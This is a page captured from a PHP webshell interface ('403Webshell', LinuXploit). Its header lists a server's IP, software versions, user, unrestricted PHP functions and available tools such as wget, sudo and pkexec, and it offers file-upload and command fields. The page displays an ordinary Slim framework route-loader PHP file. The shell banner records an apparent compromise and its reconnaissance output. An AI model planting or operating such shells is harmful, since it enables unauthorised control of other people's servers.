403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/project-slim/app/Routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/project-slim/app/Routes/RoutesLoader.php
<?php

namespace App\Routes;

use Slim\App;
use Slim\Routing\RouteCollectorProxy;

class RoutesLoader
{
    private App $app;

    public function __construct(App $app)
    {
        $this->app = $app;
    }

    /**
     * Load all route groups
     */
    public function loadRoutes(): void
    {
        // API v1 group
        $this->app->group('/api/v1', function (RouteCollectorProxy $group) {
            $this->loadAuthRoutes($group);
            $this->loadUserRoutes($group);
            $this->loadCompanyRoutes($group);
            $this->loadReportRoutes($group);
            $this->loadAdminRoutes($group);
        });

        // Health and system routes
        $this->loadSystemRoutes();

        // API v2 group (for future expansion)
        $this->app->group('/api/v2', function (RouteCollectorProxy $group) {
            // Future API versions
        });
    }

    /**
     * Load authentication routes
     */
    private function loadAuthRoutes(RouteCollectorProxy $group): void
    {
        $group->group('/auth', function (RouteCollectorProxy $auth) {
            // Core authentication
            (require __DIR__ . '/Groups/AuthGroup.php')($auth);
        });
    }

    /**
     * Load user management routes
     */
    private function loadUserRoutes(RouteCollectorProxy $group): void
    {
        $group->group('/users', function (RouteCollectorProxy $users) {
            // User CRUD and management
            (require __DIR__ . '/Groups/UserGroup.php')($users);
        });
    }

    /**
     * Load company management routes
     */
    private function loadCompanyRoutes(RouteCollectorProxy $group): void
    {
        $group->group('/companies', function (RouteCollectorProxy $companies) {
            // Company CRUD and management
            (require __DIR__ . '/Groups/CompanyGroup.php')($companies);
        });
    }

    /**
     * Load report management routes
     */
    private function loadReportRoutes(RouteCollectorProxy $group): void
    {
        $group->group('/reports', function (RouteCollectorProxy $reports) {
            // Report generation and management
            (require __DIR__ . '/Groups/ReportGroup.php')($reports);
        });
    }

    /**
     * Load admin routes
     */
    private function loadAdminRoutes(RouteCollectorProxy $group): void
    {
        $group->group('/admin', function (RouteCollectorProxy $admin) {
            // Admin panel routes
            (require __DIR__ . '/Groups/AdminGroup.php')($admin);
        });
    }

    /**
     * Load system and health check routes
     */
    private function loadSystemRoutes(): void
    {
        // Health check
        $this->app->get('/health', function ($request, $response) {
            $response->getBody()->write(json_encode([
                'status' => 'healthy',
                'timestamp' => date('Y-m-d H:i:s'),
                'version' => '1.0.0',
                'environment' => $_ENV['APP_ENV'] ?? 'production'
            ]));
            return $response->withHeader('Content-Type', 'application/json');
        });

        // API info
        $this->app->get('/api', function ($request, $response) {
            $response->getBody()->write(json_encode([
                'message' => 'Slim Framework API',
                'version' => '1.0.0',
                'endpoints' => [
                    'auth' => '/api/v1/auth',
                    'users' => '/api/v1/users',
                    'companies' => '/api/v1/companies',
                    'reports' => '/api/v1/reports',
                    'admin' => '/api/v1/admin',
                    'health' => '/health'
                ]
            ]));
            return $response->withHeader('Content-Type', 'application/json');
        });

        // Root redirect
        $this->app->get('/', function ($request, $response) {
            return $response->withHeader('Location', '/api')->withStatus(302);
        });
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit